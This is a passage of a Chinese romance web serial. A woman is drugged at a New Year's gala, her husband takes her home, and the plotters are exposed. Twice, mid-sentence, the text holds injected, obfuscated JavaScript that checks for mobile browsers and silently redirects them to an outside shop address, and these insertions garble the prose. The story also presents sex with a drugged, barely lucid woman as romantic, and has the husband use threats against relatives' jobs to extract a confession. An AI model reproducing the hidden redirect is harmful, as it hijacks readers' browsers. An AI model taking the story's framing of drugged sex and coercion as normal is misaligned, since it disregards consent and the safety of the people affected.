早上起来先背一个小时单词,白天做数学题,晚上去补习班,回来还要整理笔记。 越靳临看她这么拼命,有时候忍不住念叨,“别太累,身体要紧。” 苏念橙就笑,“不累,心里踏实。” 报名的事解决了,她心里那根弦松下来,学起来反而更顺了。 这天傍晚,越靳临回来的时候,手里拿着张红色的纸。 “什么东西?”苏念橙凑过去看。 “居委会发的。”他把纸递给她,“元旦晚会,就在咱们这片的广场上。每家每户都能去,有表演,还有吃的。” 苏念橙接过来看了看,纸上印着大红字,写着时间地点,还有节目单。 “唱歌跳舞,还有相声?”她眼睛亮了亮。 越靳临看着她那副样子,嘴角弯了弯,“想去?” 苏念橙想了想,“好久没凑热闹了。” “那就去。”他伸手揉了揉她的头发,“正好放松放松,别老闷在家里看书。” 苏念橙点点头,“好。” 她忽然想起什么,“对了,我叫上佩佩一块儿?她肯定也想去。” “行啊。”越靳临说,“人多热闹。” 翌日,苏念橙去图书馆还书,顺便叫上了何佩佩。 两人抱着书从图书馆出来,苏念橙就把晚会的事说了。 何佩佩一听就乐了,“真的?那必须去啊!我好久没看表演了。” “那就说定了。”苏念橙笑着说,“到时候咱们一块儿。” 何佩佩点点头,又想起什么,“对了,你男人去不去?” 苏念橙脸微微一红,“去啊。还有文静姐他们,估计也会去。” 何佩佩眨眨眼,“那正好,介绍我认识认识。老听你说他们,还没见过呢。虽然你男人我是见过了,但是没明确认识呀。” “行啊。”苏念橙笑了,“到时候介绍给你。” 两人在路口分开,各回各家。 何佩佩推开门,屋里暖烘烘的。 何钧礼正坐在桌边看报纸,苏荷雨在旁边织毛衣。 看见她进来,何钧礼抬起头,“回来了?” 何佩佩嗯了一声,把书放到桌上,随口说了一句,“哥,元旦晚会你去不去?居委会办的,就在广场那边。” 何钧礼愣了一下,低头看了看手里的报纸。 那张红色的通知就印在报纸边角,他刚才看见了,没在意。 “你想去?”他问。 何佩佩点点头,“念橙约我一块儿去。” 何钧礼手里的报纸顿了顿。 苏荷雨手里的竹针也停了一下。 “姐也去?”她抬起头,脸上带着温柔的笑,“那正好,咱们也去吧。钧礼,咱们好久没出去玩了。” 何钧礼看着她,点点头,“行,那就去。” 他看向何佩佩,“到时候一块儿?” 何佩佩摆摆手,“不用,我跟念橙约好了。你们自己玩你们的。” 苏荷雨笑了笑,“也好。那咱们到时候广场见。” 何佩佩没多想,上楼去了。 客厅里安静下来。 苏荷雨低着头继续织毛衣,嘴角却微微勾了勾。 转眼就到了元旦这天。 苏念橙起了个大早,推开窗户,外头天灰蒙蒙的,但没有下雪。 她洗漱完下楼,厨房里照常飘来香味。 越靳临系着围裙站在灶台前,听见动静回过头。 “元旦快乐。”他说。 苏念橙笑了,“元旦快乐。” 她走过去,想帮忙端菜,却被他拉住了。 “等等。”他从口袋里掏出个小盒子,递给她。 苏念橙愣住了,“这是什么?” “元旦礼物。”他说。 苏念橙接过盒子,打开一看,愣住了。 盒子里躺着一盒胭脂。 粉色的外壳,上面印着精致的花纹,一看就是好东西。 “这……”她抬起头,看着他。 越靳临低头看着她,“上次看你抹了那个,挺好。就想着给你买盒更好的。” 苏念橙心里一暖,眼眶有点酸。 她上次抹的是何佩佩送她的,几毛钱的东西,抹上去干巴巴的。 这盒胭脂,一看就贵。 “谢谢你。”她抬起头,看着他笑,“真好看。” “试试?”他说。 苏念橙点点头,打开盒子,用手指沾了一点,对着墙上的小镜子往脸上抹。 抹完,她转过身,看着他,“好看吗?” 越靳临看着她。 她站在晨光里,脸颊上染了淡淡的粉色,眼睛亮亮的,比平时更好看了。 “好看。”他说。 苏念橙笑了,踮起脚尖,在他脸上亲了一下。 “谢谢你我很喜欢。”她说。 越靳临愣了一下,随即嘴角弯了弯。 他伸手,把她拉进怀里,低头在她额头上亲了一下。 “不客气,你喜欢就好。” 两人吃了早饭,就出门。 外头比前几天暖和了些,风也不大。 越靳临骑着摩托车,带着她在街上逛了一圈。 路过国营饭店,进去吃了顿饭。然后去供销社,又进去买了点东西。 回到家的时候,天已经擦黑了。 苏念橙换了新买的外套,把那盒胭脂又抹了点,对着镜子照了照,满意地点点头。 下楼的时候,越靳临已经在等着了。 他看见眼前的姑娘,黑眸闪过一抹惊艳。 苏念橙是标准的鹅蛋脸,脸很小,抹了胭脂整个脸红润了不少,一双清澈的大杏眼,很精致的鼻梁,往日她都是扎马尾,今日乌黑的长发撒下来,又是别有一番韵味。 “真好看。”越靳临忍不住夸她。 苏念橙有些害羞,梨涡浅笑,“嘿嘿谢谢啦~” 话落她就跨上车,越靳临将她的手塞进自己的口袋里,“抓稳了。” 随后车子启动,往广场开。 广场离得不远,开车六七分钟就到。 这会儿已经热闹起来了,到处挂着红灯笼,拉着彩带,人声鼎沸。 舞台搭在广场中央,上头铺着红毯,两边摆着大喇叭,正在放喜庆的音乐。 台下摆着几张桌子,上头放着花生瓜子糖果,还有热气腾腾的姜茶。 苏念橙四处张望,找何佩佩。 “念橙!” 她顺着声音看过去,何佩佩站在一张桌子旁边,朝她挥手。 苏念橙拉着越靳临走过去。 “等久了吧?”她笑着问。 第九十四章 下药 何佩佩摇摇头,“没有没有,刚来一会儿。”她看向越靳临,眼睛亮了亮,“越同志好,我叫何佩佩,念橙的闺蜜。” 越靳临点点头,“你好。” 何佩佩凑到苏念橙耳边,压低声音,“近看更俊诶。” 苏念橙脸一红,推了她一下。 这时,旁边又走过来两个人。 蒋毅明裹着件厚棉袄,搓着手走过来,“越哥,嫂子!” 苏念橙笑着打招呼,“毅明哥。文静姐呢?” 蒋毅明摆摆手,“她嫌冷,不肯来。说在家猫着。” 越靳临嘴角弯了弯,“她向来怕冷。” 苏念橙把何佩佩介绍给他们,“这是何佩佩,我朋友。” 何佩佩大方地打招呼,“蒋同志好。” 蒋毅明笑着点头,“何同志好。既然是嫂子的朋友,那就是自己人。走,咱们去那边坐,那边有姜茶,暖和。” 几个人往旁边走。 苏念橙跟何佩佩走在一起,越靳临和蒋毅明走在后面。 舞台上的表演已经开始了,一个穿红裙子的姑娘正在唱歌,声音挺亮。 台下人越来越多,到处是说话声笑声,热闹得很。 苏念橙和何佩佩找了张桌子坐下,倒了杯姜茶,一边喝一边看表演。 越靳临和蒋毅明站在旁边,有一搭没一搭地聊着工地的事。 正看着,苏念橙忽然感觉到一道视线落在自己身上。 她下意识回头,愣住了。 几步外,何钧礼站在那儿,穿着那件深灰色大衣,正看着她。 他身边站着苏荷雨,穿着件粉色厚外套,脸上带着温柔的笑。 曾晶晶也在,穿着一身时髦的红色大衣,正挽着苏荷雨的胳膊,不知道在说什么。 苏念橙收回目光,继续看表演。 何佩佩也看见了,凑过来压低声音,“曾晶晶也来了。” 苏念橙点点头,“看见了。” 何佩佩撇撇嘴,“真扫兴。” 苏念橙笑了笑,“没事,咱们玩咱们的。” 另一边,苏荷雨挽着何钧礼的胳膊,脸上的笑温柔得很。 “钧礼,咱们去那边坐吧。”她指了指另一边。 何钧礼点点头,目光却还往苏念橙那边飘。 苏荷雨眼里闪过一丝冷意,脸上却什么都没露出来。 三个人在另一边找了张桌子坐下。 曾晶晶凑到苏荷雨耳边,压低声音,“荷雨,你那个计谋,什么时候动手?” 苏荷雨看了她一眼,嘴角勾了勾,“急什么,等人多的时候。” 曾晶晶眼睛亮了,“东西带了吗?” 苏荷雨从口袋里掏出个小纸包,在她面前晃了晃,又飞快地收回去。 “这是什么?”曾晶晶问。 “好东西。”苏荷雨压低声音,“找人买的,下到水里,喝下去一会儿就晕乎乎的。现场这么多人,你猜她分得清谁是她男人?” 曾晶晶愣了一下,随即反应过来,捂着嘴笑出声。 “荷雨,你可真聪明。”她压低声音,“这下看她怎么得意。” 苏荷雨笑了笑,没说话,眼睛却往苏念橙那边看了一眼。 舞台上,唱歌的姑娘下去了,上来两个说相声的,一胖一瘦,逗得台下笑声不断。 苏念橙看得认真,手里的姜茶喝了一半。 何佩佩在旁边笑得前仰后合,“这个好玩,这个好玩。” 苏念橙也笑,眼睛弯成月牙。 看了一会儿,她忽然觉得有点内急。 “佩佩,我去趟洗手间。”她站起来。 何佩佩点点头,“去吧,我看着位置。” 苏念橙转身往洗手间走。 洗手间在广场边上一排临时搭的棚子里,有点远,要走几分钟。 她快步走过去,解决完出来,又快步往回走。 路过一张桌子时,她忽然被人叫住了。 “姐。” 苏念橙脚步顿了顿,回过头。 苏荷雨站在几步外,脸上带着温柔的笑。曾晶晶站在她旁边,笑得意味深长。 “姐,好巧啊。”苏荷雨走过来,“你也来看表演?” 苏念橙看着她那张假惺惺的脸,心里一阵恶心,“有事?” “没事,就是打个招呼。”苏荷雨笑了笑,“姐今天真好看,抹胭脂了吧?” 苏念橙没接话,转身就走。 身后传来曾晶晶的笑声,“哟,还挺傲。” 苏念橙没理她们,加快脚步往回走。 回到桌边,她坐下来,端起那杯没喝完的姜茶,喝了一口。 何佩佩凑过来,“怎么这么久?碰见谁了?” 苏念橙摇摇头,“没什么。” 她放下杯子,继续看表演。 台上的相声正说到精彩处,台下笑声一片。 苏念橙也笑,可笑着笑着,忽然觉得有点不对劲。 身上有点热。 她解开围巾,凉风吹过来,舒服了点。 可没过一会儿,又热起来。 那种热,不是外头的热,是从里头往外冒的热。 她皱了皱眉,端起杯子又喝了一口。 “念橙?”何佩佩的声音在旁边响起,“你怎么了?脸怎么这么红?” 苏念橙摸了摸脸,确实烫。 “不知道。”她说,“忽然觉得有点热。” 何佩佩伸手摸了摸她的额头,“没发烧啊。” 苏念橙摇摇头,“没事,可能穿多了。” 她站起来,想把外套脱了。 可刚站起来,脑子里忽然一阵眩晕。 她扶住桌子,稳了稳。 “念橙?”何佩佩吓了一跳,“你怎么了?” 苏念橙晃了晃脑袋,那股眩晕感更重了。 她低头看着那杯姜茶,忽然觉得不对劲。 “佩佩,”她开口,声音有点飘,“这茶……是酒吗?” 何佩佩愣住了,“酒?不是啊,就是姜茶。” 她端起杯子闻了闻,“没酒味啊。” 苏念橙脑子里越来越晕,身上那股热意也越来越重。 她咬着嘴唇,想让自己清醒点,可眼皮越来越沉。 “佩佩……”她抓住何佩佩的手,“我有点晕,你帮我叫一下越靳临……” 何佩佩急了,“念橙,你怎么了?你别吓我!” 可周围太吵了。 台上的相声正说到高潮,台下笑声震天,音响的声音大得吓人。 何佩佩凑到苏念橙耳边,“你说什么?我听不清!” 苏念橙张了张嘴,想再说一遍,可那股眩晕感猛地涌上来。 她身子一软,往旁边倒去。 “念橙!” 第九十五章 缠绵 何佩佩一把扶住她,吓得脸都白了。 她抬起头,四处张望,想找越靳临。 可周围全是人,黑压压的一片,哪里看得见。 “念橙,你撑着,我去找你男人——” 她刚站起来,忽然被人从身后扶住了肩膀。 “怎么了?” 低沉的声音从头顶传来。 何佩佩回过头,看见越靳临站在身后,眉头紧皱,正低头看着苏念橙。 “越同志!”何佩佩像抓住了救命稻草,“念橙她忽然晕了——” 话没说完,越靳临已经把苏念橙抱起来了。 她靠在他怀里,脸红得不正常,呼吸也有些急促。 “念橙。”他叫她,声音低沉,“念橙,能听见我说话吗?” 苏念橙迷迷糊糊睁开眼,看见他那张脸,嘴角扯了扯。 “越靳临……”她声音软得不像话,“我热……” 越靳临脸色沉下来。 他抬起头,往四周扫了一眼。 不远处,苏荷雨和曾晶晶站在人群里,正往这边看。 看见他的目光,苏荷雨脸上的笑僵了一瞬,赶紧移开视线。 越靳临冷着眸,收回视线,抱起苏念橙,大步往摩托车走。 何佩佩跟在后头,急得团团转,“越同志,念橙她没事吧?要不要去医院?” “我会送她去。”越靳临声音沉沉的,“你先回去。” “那好,有什么事你记得找我哈。”何佩佩担忧道。 “好。” 话落,他把苏念橙放到后座,自己跨上车,让她靠在自己背上,一手扶着她的腰,一手发动摩托车。 “抓稳。”他说。 苏念橙迷迷糊糊地嗯了一声,手却软得使不上劲,整个人趴在他背上,脸贴着他温热的脊背,那股热意好像更重了。 摩托车轰的一声窜出去。 风呼呼地吹,凉飕飕的,可苏念橙还是觉得热。那股热从身体里往外冒,烧得她脑子晕乎乎的,浑身都软。 她把脸埋在他背上,蹭了蹭,“越靳临……我好热……” 越靳临柔声安抚她,“很快就到了。”随后把车速加到最快。 摩托车在夜色里飞驰,很快就到了槐花胡同。 他停好车,把她抱下来。 她靠在他怀里,脸红得不正常,呼吸又急又烫,手抓着他的衣服,指节泛白。 “念橙。”他低头叫她,“能走吗?” 苏念橙迷迷糊糊睁开眼,看见他那张脸,嘴角扯了扯,“能……” 她迈了一步,腿一软,整个人往下滑。 越靳临一把捞住她,干脆把她横抱起来,大步上楼。 推开门,屋里黑漆漆的。他把她放到沙发上,转身去开灯。 灯亮了,他回过头,愣住了。 她躺在沙发上,外套已经解开了一半,露出里头的毛衣。脸红得厉害,眼睛湿漉漉的,正看着他。 “越靳临……”她声音软得不像话,“我难受……” 越靳临走过去,蹲下来,伸手摸了摸她的额头。烫得吓人。 他眉头皱起来,本来想带她去找吴大夫,可今天元旦,吴大夫带着妻女回老家了,诊所关门。 他盯着她看了几秒,心里明白这是怎么回事了。 那杯茶。 有人下了药。 他攥紧拳头,眼里闪过一丝冷意。 可现在不是想这个的时候。 他站起来,去澡间打了盆凉水,拧了条湿毛巾,走回沙发边。 “念橙。”他蹲下来,拿毛巾给她擦脸,“忍一忍,我帮你降温。” 凉毛巾贴上脸,苏念橙舒服地叹了口气,可那股热意还在,烧得她浑身发烫。 她扭了扭身子,伸手去扯自己的衣服,“热……好热……” 越靳临按住她的手,“别脱,会着凉。” “可是热……”她眼眶红了,委屈巴巴地看着他,“真的好热……” 她那副样子,可怜得很。 越靳临喉结动了动,移开视线,拿着毛巾继续给她擦脖子。 凉凉的毛巾擦过皮肤,舒服了一瞬,可很快又被那股热意盖过去。 苏念橙咬着嘴唇,难受得厉害。 她不知道怎么了,就是觉得热,从里到外都热,像有火在烧。 她看着眼前这个男人,他低着头,拿着毛巾,一下一下给她擦着。 那张脸,棱角分明,眉眼深邃,是她熟悉的脸。 她忽然伸手,抓住他的手腕。 越靳临手顿了顿,抬起头。 她看着他,杏眸湿漉漉的,脸烫得厉害。 “越靳临……”她开口,声音软得发颤,“你帮帮我好不好……我好难受……” 越靳临愣住了。 他盯着她,那双黑沉沉的眼睛里情绪翻涌。 “你知道自己在说什么吗?”他问,声音低哑。 苏念橙点点头,又摇摇头,“不知道……但我好难受……你帮帮我……” 她说着,撑着身子坐起来,凑近他。 两人离得很近,近到能看清彼此眼睛里的倒影。 她看着他,忽然伸手,搂住他的脖子。 嘴唇贴上去。 温热的,软软的,带着点甜味。 越靳临脑子里那根弦啪地断了。 他伸手扣住她的后脑勺,加深了这个吻。 不再是之前那些温柔的试探,而是带着股压抑已久的热切,舌尖撬开她的唇齿,缠着她的,呼吸交缠在一起。 她被他吻得喘不过气,身子软得厉害,只能攀着他,任由他索取。 他放开她的唇,一路往下,吻过她的下巴,她的脖颈,她的锁骨。 她仰着头,手指插进他发间,呼吸又急又烫。 “越靳临……”她叫他,声音软得发颤。 他停下来,抬起头,看着她。 她躺在那儿,脸红得像熟透的虾,眼睛湿漉漉的,嘴唇微微红肿,正看着他。 “你知道我是谁吗?”他问,声音哑得厉害。 苏念橙点点头,“知道……越靳临啊……” 他嘴角弯了弯,低头在她唇上轻轻啄了一下。 “那就好。” 他把她抱起来,往楼上走。 二楼那间房,她的房间。 门被踢开,又关上。 她被放到床上,他压下来,吻住她。 这一次,再没有停。 窗外的月光透过窗帘的缝隙照进来,在地上投下一道银白的光。 屋里只有两个人的呼吸声,还有偶尔的低语。 “疼吗?” “……嗯。” “忍一忍。” “……好。” 第九十六章 春宵 不知道过了多久,屋内终于安静下来。 越靳临抱她简单冲洗了下,然后才把人抱回床。 苏念橙躺在他怀里,浑身软得像散了架,眼皮沉得睁不开。 他低头看着她,伸手拨开她额前的碎发。 “睡吧。”他说,声音低低的。 她嗯了一声,往他怀里缩了缩,闭上眼睛。 很快,呼吸平稳下来。 他抱着她,下巴抵在她头顶,也闭上眼睛。 窗外,月亮悄悄躲进云里。 广场上,表演还在继续。 何佩佩站在舞台边,有些心不在焉的看着台上的表演。 正在她打算起身回去时,身后传来声音。 “佩佩。” 她回过头,何钧礼站在几步外,眉头皱着,“念橙呢?” 何佩佩愣了一下,“走了啊。她刚才不舒服,越同志带她回去了。” 何钧礼脸色变了变,“不舒服?哪儿不舒服?” “不知道。”何佩佩摇摇头,“忽然就晕了,脸红得吓人。” 何钧礼攥紧拳头,转身就要走。 “哥!”何佩佩叫住他,“你干嘛去?” 何钧礼脚步顿了顿,没回头,“没事。” 他走回刚才那张桌子,苏荷雨正坐在那儿,和曾晶晶说着什么。 看见他回来,苏荷雨笑了笑,“钧礼,怎么去了这么久?” 何钧礼在她旁边坐下,没说话。 苏荷雨看了他一眼,挽住他的胳膊,“钧礼,咱们去那边看节目吧?那边有猜灯谜的,可好玩了。” 何钧礼嗯了一声,跟着她站起来。 走了两步,他忽然开口。 “荷雨。” 苏荷雨脚步顿了顿,“嗯?” 何钧礼低头看着她,那眼神有点复杂,“你今天有没有做什么?” 苏荷雨愣了一下,脸上的笑僵了一瞬,随即又恢复过来。 “做什么?”她眨眨眼,一脸无辜,“我能做什么?我一直跟你在一起啊。” 何钧礼盯着她看了几秒,最后移开视线。 “没什么。”他说,“走吧。” 苏荷雨挽着他的胳膊,继续往前走。 走了几步,她回头看了一眼。 曾晶晶站在原地,正看着他们。 两人对视了一眼,什么都没说。 曾晶晶转过身,往另一个方向走了。 走出一段距离,她找了个没人的角落,站定。 心里有点慌。 刚才那个眼神,何钧礼是不是看出什么了? 可又一想,就算看出来又怎么样?他又没证据。 她深吸一口气,把那股慌乱压下去。 苏荷雨说得对,这次不行,还有下次。 怕什么? 另一边,苏荷雨挽着何钧礼的胳膊,走在人群里。 她脸上带着温柔的笑,心里却在想刚才那一幕。 苏念橙那个样子,一看就是药效发作了。 她本来想,等苏念橙晕乎乎的,就让曾晶晶找个人把她带走。到时候人那么多,她分得清谁是谁? 可没想到她男人来得那么快。 真没意思。 她咬了咬嘴唇,眼里闪过一丝冷意。 不过没关系。 这次不行,还有下次。 她偏头看了一眼身边的何钧礼。 他低着头,不知道在想什么。 她忽然有点不安。 他刚才那个眼神…… 她握紧拳头,脸上却笑得温柔。 “钧礼,那边有个杂耍的,咱们去看看?” 何钧礼点点头,跟着她往那边走。 可他的目光,却忍不住往槐花胡同那个方向飘。 那扇隐隐约约的窗户,黑着。 他收回目光,跟着苏荷雨往前走。 夜里,越靳临是被热醒的。 怀里的人像个小火炉,紧紧贴着他,脸埋在他胸口,呼吸均匀。 他低头看着她,嘴角弯了弯。 窗外天还没亮,月光透过窗帘的缝隙照进来,在她脸上投下淡淡的光。 他伸手,轻轻拨开她额前的碎发。 她皱了皱眉,嘟囔了一句什么,又往他怀里缩了缩。 他把她搂紧了些,下巴抵在她头顶,忍不住吻了吻她的额头,他低声道:“念橙,我这辈子都不会放你走了。” 怀里的人儿像听到似的,咿咿呀呀了一声,可爱的不行,越靳临勾了勾唇,随后闭上眼睛。 可睡不着了。 脑子里乱七八糟的,想了很多。 从那天在饭店第一次见她,到后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346723|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来这段时日。 她站在他面前,明明紧张得要命,却强装镇定地说那些话。 她穿着碎花裙,脸红红地站在他面前,问他好不好看。 她蹲在胡同口哭,他走过去,她抬起头,眼眶红红的。 她趴在桌上睡着了,睫毛又长又密,在脸上投下一小片阴影。 她在厨房里煮糖水,他走进去,她舀了一勺递到他嘴边。 她踮起脚尖,在他脸上亲了一下,然后转身就跑。 她在床上,躺在他身下,脸红红的,眼睛湿漉漉的,叫他的名字。 情不知何起一往情深。 或许,很早甚至更早,他就喜欢上她了。 他闭上眼睛,深吸一口气。 那些画面在脑子里转来转去,怎么也赶不走。 不知道过了多久,怀里的人动了一下。 他睁开眼,低头看她。 她醒了,正看着他。 四目相对。 两人都愣住了。 苏念橙眨了眨眼,又眨了眨眼。 昨晚那些画面像走马灯一样在脑子里闪过。 她搂着他的脖子亲他。 他压着她,吻她的唇。 她还缠着人家的腰,是她主动的… 还那么热情… 她脸腾地红了,从耳尖红到脖子根。 她猛地往后缩,想从他怀里挣脱出来。 可刚一动,浑身就像散了架似的疼。 “嘶——”她倒吸一口凉气,不敢动了。 越靳临看着她那副样子,嘴角弯了弯。 “别动。”他说,“疼就躺着。” 苏念橙咬着嘴唇,低着头,不敢看他。 她脑子里乱成一团,不知道该说什么。 最后只憋出一句,“对不起,昨晚……昨晚是意外……” 越靳临愣了一下。 “意外?”他重复了一遍。 苏念橙点点头,声音闷闷的,“我被人下药了,不清醒。你……你别往心里去。” 越靳临沉默了几秒。 然后他笑了。 那笑意不达眼底,反倒让人心里发毛。 “苏念橙。”他叫她,声音低沉。 苏念橙抬起头。 他看着她,那双黑沉沉的眼睛里看不出情绪。 “你再说一遍?” 第九十七章 惩罚 苏念橙被他那眼神看得心里发怵,可话已经说出口,收不回来了。 她咬着嘴唇,硬着头皮又重复了一遍,“昨晚是意外,我被人下药了,不清醒。你别往心里去。” 越靳临盯着她,那双黑沉沉的眼睛里闪过一丝什么。 失落。 很快,快得几乎看不清。 他忽然伸手,扣住她的后颈,把她整个人拉近。 嘴唇堵上来。 不是温柔的吻,是带着点惩罚意味的,又凶又急。 苏念橙瞪大眼睛,还没来得及反应,他已经撬开她的唇齿,缠了上来。 她被他吻得喘不过气,手抵在他胸口,想推开他,可那点力气跟挠痒痒似的。 不知道过了多久,他终于放开她。 她靠在他怀里,大口喘着气,脸烫得像烧起来。 他低头看着她,拇指轻轻摩挲着她的脸颊。 “意外?”他问,声音低哑,“要我帮你回忆一下吗?” 苏念橙愣住了。 他看着她,那双眼睛黑沉沉的,像能把人吸进去。 “昨晚是谁搂着我的脖子不放?”他说,一字一顿,“是谁说越靳临你帮帮我?是谁缠着我的腰,让我别停?” 苏念橙脸腾地红了,红得能滴血。 她低下头,恨不得找个地缝钻进去。 那些画面在脑子里闪过,她确实……确实…… “那不是意外。”他捧着她的脸,让她看着自己,“那是你。” 苏念橙这才意识到,自己身上穿着睡衣。 睡衣是昨晚他给她换的,可里头什么都没穿。 她脸更烫了,想往后缩。 他忽然低下头,在她锁骨上咬了一口。 不轻不重,刚好留下个印子。 “嘶——”苏念橙倒吸一口凉气,“你干嘛?” 他抬起头,看着她,嘴角弯了弯。 “标记。”他说,“省得某人不想对我负责。” 苏念橙愣住了。 她盯着他那张脸,看着他嘴角那个笑,心里那点慌乱忽然散了。 这人…… 她忍不住笑了,伸手戳了戳他的脸。 “那好吧。”她说,眼睛弯成月牙,“我对你负责。” 越靳临看着她那副样子,心里软成一团。 他低头,在她额头上轻轻亲了一下。 “这还差不多。” 苏念橙靠在他怀里,忽然想起昨晚的事。 “对了,”她抬起头,“那杯茶。” 越靳临脸色沉了沉,“嗯。” 苏念橙咬了咬嘴唇,“肯定是苏荷雨她们干的。我去洗手间回来的时候,碰见她们了。她们跟我说了几句话,我回来就喝了那杯茶。” 她眉头皱起来,“可我没想过她们这么恶毒。竟然想毁我清白……” 她说不下去了。 要是昨晚越靳临不在,要是她被别人带走…… 她不敢想。 越靳临把她搂紧了些,下巴抵在她头顶。 “别怕。”他说,声音低沉,“以后不会再发生这种事。” 苏念橙抬起头,看着他。 他低头看她,黑眸镇定,安全感满满。 “这件事我来处理。”他说,“你好好复习,别受影响。” 苏念橙点点头,“好。” 她视线不由自主落在他脖子上。 古铜色的皮肤上,好几道红印子,有的深有的浅,看着触目惊心。 她愣住了。 “这……”她伸手摸了摸那些红印子,“这都是我弄的?” 越靳临低头看了一眼,嘴角弯了弯,“嗯。” 苏念橙脸又红了。 她想起昨晚,她好像确实抓着他,指甲掐进他后背,还挠了他脖子…… “对不起……”她小声说,“疼不疼?” 越靳临看着她那副心虚的样子,忍不住笑了。 “不疼。”他说,顿了顿,又凑近她耳边,压低声音,“不过下次能不能对我轻点?” 苏念橙脸腾地红了,红到脖子根。 她推了他一把,“你……你快去工地!” 越靳临笑着站起来,穿上衣服。 他走到门口,又回过头。 她缩在被子里,只露出一双眼睛,正看着他。 他走回去,弯下腰,在她额头上亲了一下。 “好好休息。”他说,“等我回来。” 苏念橙点点头,“嗯。” 门关上了。 她躺在床上,盯着天花板,发了很久的呆。 然后忽然把脸埋进枕头里,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346724|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声来。 另一边,越靳临下了楼,脸色沉下来。 他拿起电话,拨了个号码。 “老周,帮我查个人。” 那头应了一声,他挂了电话,穿上外套,推门出去。 摩托车发动,往工地开。 路过广场时,他停下来,看了一眼。 昨晚的舞台已经拆了,地上只剩些彩带和瓜子壳。几个清洁工正在打扫。 他收回目光,继续往前开。 曾晶晶家住在城东,一栋两层小楼,门口停着辆黑色轿车。 她昨晚睡得晚,这会儿还没起。 门被敲响的时候,她正做着美梦。 “谁啊?”她揉着眼睛,披了件外套,下楼开门。 门拉开,她愣住了。 越靳临站在门口,穿着那件黑色大衣,脸上没什么表情,可那双眼睛,冷得像结了冰。 曾晶晶心里一慌,下意识往后退了一步。 “你……你找谁?” 越靳临看着她,“曾晶晶?” 曾晶晶点点头,声音发颤,“是我。你……你有什么事?” 越靳临往前走了一步。 曾晶晶往后退了一步,后背撞上墙壁。 “昨晚的事,”他开口,声音低沉,“你参与了多少?” 曾晶晶脸都白了,“我、我不知道你在说什么……” 越靳临看着她,那眼神像在看一只蝼蚁。 “药是谁给的?”他问,“谁出的主意?” 曾晶晶咬着嘴唇,不敢说话。 越靳临等了几秒,忽然笑了。 那笑意不达眼底,反倒让人心里发寒。 “行。”他说,“不说也行。你二姨在教育局干了二十年,快退休了吧?” 曾晶晶愣住了。 越靳临看着她,“她的事,我本来不想追究。但你非要掺和,那就一起算。” 他转身就走。 “等等!”曾晶晶急了,追出来,“你……你想干什么?” 越靳临没回头,“让你二姨提前退休,让你们家的厂子查查账。够吗?” 曾晶晶脸白得像纸。 她想起父亲说过的话,这年头做生意,最怕被查。 一查,准出事。 “我说!”她喊起来,“我说!” 第九十八章 反击 曾晶晶攥紧门框,指节泛白,咬了咬牙,“是苏荷雨。药是她给的,主意也是她出的。她说只要你媳妇儿出丑,以后就没脸在省城呆下去。” 越靳临看着她,脸上没什么表情。 曾晶晶被他那眼神看得心里发毛,赶紧又补了一句,“我就是帮她递个话,别的什么都没干!那药是她自己找人买的,也是她自己下的,跟我没关系!” 越靳临没说话,只是看着她。 那眼神,沉沉的,像在看一只垂死挣扎的蚂蚁。 曾晶晶被他看得腿都软了,扶着门框才没滑下去。 “我都说了,”她声音发颤,“你……你还要怎么样?” 越靳临终于开口。 “以后再敢动念橙一根寒毛,”他声音冷得像淬了冰,“我让你在整个鄂州呆不下去。” 曾晶晶愣住了。 等她回过神来,门口已经没人了。 她关上门,靠在门板上,捂着胸口喘气。 心跳快得像要从嗓子眼蹦出来,腿还在抖。 缓了好一会儿,她才慢慢平复下来。 可那股后怕还在。 她忽然想起刚才那个眼神。 冷,沉,像能把人看穿。 那种气势,她只在父亲那些当官的生意伙伴身上见过。 可那是个干工地的啊。 苏荷雨说他是干工地的,穷得叮当响,就靠那几间门面收租过日子。 可一个干工地的,凭什么有这种眼神? 她越想越不对劲。 可又不敢多想。 毕竟她刚把苏荷雨卖了。 她咬了咬嘴唇,心里那点愧疚刚冒出来,就被压下去了。 是苏荷雨先骗她的。 说什么乡下丫头好欺负,还说她男人就是个干工地的没用。 结果呢? 人家一个眼神就能让她腿软。 她深吸一口气,转身往楼上走。 算了,苏荷雨自己惹的事,自己担着吧。 她可不想再掺和了。 下午,苏荷雨上完课,刚从师范学院出来,就被人叫住了。 “苏老师,主任让你去一趟办公室。” 苏荷雨愣了一下,“什么事?” 那个同事摇摇头,“不知道,就说让你赶紧去。” 苏荷雨心里有点不安,但还是往办公楼走。 推开主任办公室的门,她愣住了。 主任坐在办公桌后头,脸色不太好看。旁边还站着个人事部的同志,手里拿着个文件夹。 “苏老师,”主任开口,“你被辞退了。” 苏荷雨脑子里嗡的一声。 “什么?”她瞪大眼睛,“为什么?我干得好好的,凭什么辞退我?” 主任叹了口气,把一张纸推过来,“你自己看吧。” 苏荷雨低头一看,愣住了。 纸上只有一行字:经研究决定,苏荷雨同志因个人品德问题,即日起解除聘用关系。 “个人品德问题?”她抬起头,“我有什么品德问题?我教学认真,学生都喜欢我,凭什么说我品德有问题?” 人事部的同志开口了,“苏老师,有人举报你在元旦晚会上涉嫌下药害人。这事虽然没报案,但影响太坏。学校领导研究过了,决定辞退你。” 苏荷雨脸都白了。 下药害人? 他们怎么知道的? 她攥紧拳头,指甲掐进掌心。 